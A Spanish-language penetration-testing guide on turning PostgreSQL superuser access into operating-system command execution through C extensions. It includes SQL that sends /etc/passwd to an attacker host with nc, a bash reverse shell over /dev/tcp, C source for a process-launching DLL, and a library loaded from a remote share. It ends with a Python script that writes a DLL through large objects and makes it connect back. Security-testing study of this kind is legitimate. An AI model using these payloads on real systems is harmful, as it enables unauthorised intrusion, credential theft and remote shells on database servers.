PostgreSQL ha sido desarrollado con la extensibilidad como una característica central, permitiendo integrar extensiones como si fueran funcionalidades integradas. Estas extensiones, esencialmente bibliotecas escritas en C, enriquecen la base de datos con funciones, operadores o tipos adicionales.
Desde la versión 8.1 en adelante, se impone un requisito específico a las bibliotecas de extensiones: deben ser compiladas con un encabezado especial. Sin esto, PostgreSQL no las ejecutará, asegurando que solo se utilicen extensiones compatibles y potencialmente seguras.
La ejecución de comandos del sistema desde PostgreSQL 8.1 y versiones anteriores es un proceso que ha sido claramente documentado y es sencillo. Es posible usar este: módulo de Metasploit.
CREATE OR REPLACEFUNCTIONsystem (cstring) RETURNSintegerAS'/lib/x86_64-linux-gnu/libc.so.6', 'system'LANGUAGE'c' STRICT;SELECTsystem('cat /etc/passwd | nc <attacker IP> <attacker port>');# You can also create functions toopenand write filesCREATE OR REPLACEFUNCTIONopen(cstring, int, int) RETURNSintAS'/lib/libc.so.6', 'open'LANGUAGE'C' STRICT;CREATE OR REPLACEFUNCTIONwrite(int, cstring, int) RETURNSintAS'/lib/libc.so.6', 'write'LANGUAGE'C' STRICT;CREATE OR REPLACEFUNCTIONclose(int) RETURNSintAS'/lib/libc.so.6', 'close'LANGUAGE'C' STRICT;
Escribir archivo binario desde base64
Para escribir un binario en un archivo en postgres, es posible que necesites usar base64, esto será útil para ese asunto:
CREATE OR REPLACEFUNCTIONwrite_to_file(fileTEXT, s TEXT) RETURNSintAS$$DECLAREfh int;s int;w bytea;i int;BEGINSELECTopen(textout(file)::cstring, 522, 448) INTO fh;IF fh <=2THENRETURN1;ENDIF;SELECT decode(s, 'base64') INTO w;i :=0;LOOPEXIT WHEN i >= octet_length(w);SELECT write(fh,textout(chr(get_byte(w, i)))::cstring, 1) INTO rs;IF rs <0THENRETURN2;ENDIF;i := i +1;ENDLOOP;SELECTclose(fh) INTO rs;RETURN0;END;$$ LANGUAGE'plpgsql';
Sin embargo, cuando se intentó en versiones mayores se mostró el siguiente error:
ERROR: incompatible library “/lib/x86_64-linux-gnu/libc.so.6”: missing magic blockHINT: Extension libraries are required to use the PG_MODULE_MAGIC macro.
Para asegurar que un archivo de objeto cargado dinámicamente no se cargue en un servidor incompatible, PostgreSQL verifica que el archivo contenga un "bloque mágico" con el contenido apropiado. Esto permite al servidor detectar incompatibilidades obvias, como código compilado para una versión principal diferente de PostgreSQL. Se requiere un bloque mágico a partir de PostgreSQL 8.2. Para incluir un bloque mágico, escribe esto en uno (y solo uno) de los archivos fuente del módulo, después de haber incluido el encabezado fmgr.h:
#ifdef PG_MODULE_MAGICPG_MODULE_MAGIC;#endif
Desde la versión 8.2 de PostgreSQL, el proceso para que un atacante explote el sistema se ha vuelto más desafiante. Se requiere que el atacante utilice una biblioteca que ya esté presente en el sistema o que suba una biblioteca personalizada. Esta biblioteca personalizada debe estar compilada contra la versión principal compatible de PostgreSQL y debe incluir un "bloque mágico" específico. Esta medida aumenta significativamente la dificultad de explotar sistemas PostgreSQL, ya que requiere una comprensión más profunda de la arquitectura del sistema y la compatibilidad de versiones.
Compilar la biblioteca
Obtén la versión de PostgreSQL con:
SELECTversion();PostgreSQL 9.6.3on x86_64-pc-linux-gnu, compiled by gcc (Debian 6.3.0-18) 6.3.020170516, 64-bit
Para compatibilidad, es esencial que las versiones principales se alineen. Por lo tanto, compilar una biblioteca con cualquier versión dentro de la serie 9.6.x debería garantizar una integración exitosa.
Luego sube la biblioteca compilada y ejecuta comandos con:
CREATEFUNCTIONsys(cstring) RETURNSintAS'/tmp/pg_exec.so','pg_exec'LANGUAGECSTRICT;SELECTsys('bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"');#Notice the double single quotes are needed to scape the qoutes
Puedes encontrar esta biblioteca precompilada para varias versiones diferentes de PostgreSQL e incluso puedes automatizar este proceso (si tienes acceso a PostgreSQL) con:
La siguiente DLL toma como entrada el nombre del binario y el número de veces que deseas ejecutarlo y lo ejecuta:
#include"postgres.h"#include<string.h>#include"fmgr.h"#include"utils/geo_decls.h"#include<stdio.h>#include"utils/builtins.h"#ifdefPG_MODULE_MAGICPG_MODULE_MAGIC;#endif/* Add a prototype marked PGDLLEXPORT */PGDLLEXPORT Datum pgsql_exec(PG_FUNCTION_ARGS);PG_FUNCTION_INFO_V1(pgsql_exec);/* this function launches the executable passed in as the first parameterin a FOR loop bound by the second parameter that is also passed*/Datumpgsql_exec(PG_FUNCTION_ARGS){/* convert text pointer to C string */#defineGET_STR(textp) DatumGetCString(DirectFunctionCall1(textout,PointerGetDatum(textp)))/* retrieve the second argument that is passed to the function (an integer)that will serve as our counter limit*/int instances =PG_GETARG_INT32(1);for (int c =0; c < instances; c++) {/*launch the process passed in the first parameter*/ShellExecute(NULL,"open", GET_STR(PG_GETARG_TEXT_P(0)),NULL,NULL,1);}PG_RETURN_VOID();}
Puedes encontrar el DLL compilado en este zip:
Puedes indicar a este DLL qué binario ejecutar y el número de veces que ejecutarlo, en este ejemplo ejecutará calc.exe 2 veces:
Note cómo en este caso el código malicioso está dentro de la función DllMain. Esto significa que en este caso no es necesario ejecutar la función cargada en postgresql, solo cargar la DLL hará que se ejecute el reverse shell:
CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '\\10.10.10.10\shared\dummy_function.dll','dummy_function' LANGUAGE C STRICT;
El proyecto PolyUDF también es un buen punto de partida con el proyecto completo de MS Visual Studio y una biblioteca lista para usar (incluyendo: command eval, exec y cleanup) con soporte de múltiples versiones.
RCE en las versiones más recientes de PostgreSQL
En las últimas versiones de PostgreSQL, se han impuesto restricciones donde el superuser está prohibido de cargar archivos de biblioteca compartida excepto desde directorios específicos, como C:\Program Files\PostgreSQL\11\lib en Windows o /var/lib/postgresql/11/lib en sistemas *nix. Estos directorios están asegurados contra operaciones de escritura por las cuentas NETWORK_SERVICE o postgres.
A pesar de estas restricciones, es posible que un superuser de base de datos autenticado escriba archivos binarios en el sistema de archivos utilizando "objetos grandes". Esta capacidad se extiende a escribir dentro del directorio C:\Program Files\PostgreSQL\11\data, que es esencial para operaciones de base de datos como actualizar o crear tablas.
Una vulnerabilidad significativa surge del comando CREATE FUNCTION, que permite la navegación de directorios en el directorio de datos. En consecuencia, un atacante autenticado podría explotar esta navegación para escribir un archivo de biblioteca compartida en el directorio de datos y luego cargarlo. Esta explotación permite al atacante ejecutar código arbitrario, logrando la ejecución de código nativo en el sistema.
Flujo de ataque
Primero que nada, necesitas usar objetos grandes para subir el dll. Puedes ver cómo hacerlo aquí:
Una vez que hayas subido la extensión (con el nombre de poc.dll para este ejemplo) al directorio de datos, puedes cargarla con:
create function connect_back(text, integer) returns void as '../data/poc','connect_back' language C strict;select connect_back('192.168.100.54',1234);
Note que no necesitas agregar la extensión .dll ya que la función de creación la añadirá.
Para más información lee lapublicación original aquí.
En esa publicación este fue elcódigo utilizado para generar la extensión de postgres (para aprender cómo compilar una extensión de postgres, lee cualquiera de las versiones anteriores).
En la misma página se proporcionó este exploit para automatizar esta técnica:
#!/usr/bin/env python3import sysiflen(sys.argv)!=4:print("(+) usage %s <connectback> <port> <dll/so>"% sys.argv[0])print("(+) eg: %s 192.168.100.54 1234 si-x64-12.dll"% sys.argv[0])sys.exit(1)host = sys.argv[1]port =int(sys.argv[2])lib = sys.argv[3]withopen(lib, "rb")as dll:d = dll.read()sql ="select lo_import('C:/Windows/win.ini', 1337);"for i inrange(0, len(d)//2048):start = i *2048end = (i+1) *2048if i ==0:sql +="update pg_largeobject set pageno=%d, data=decode('%s', 'hex') where loid=1337;"% (i, d[start:end].hex())else:sql +="insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));"% (i, d[start:end].hex())if (len(d)%2048) !=0:end = (i+1) *2048sql +="insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));"% ((i+1), d[end:].hex())sql +="select lo_export(1337, 'poc.dll');"sql +="create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;"sql +="select connect_back('%s', %d);"% (host, port)print("(+) building poc.sql file")withopen("poc.sql", "w")as sqlfile:sqlfile.write(sql)print("(+) run poc.sql in PostgreSQL using the superuser")print("(+) for a db cleanup only, run the following sql:")print(" select lo_unlink(l.oid) from pg_largeobject_metadata l;")print(" drop function connect_back(text, integer);")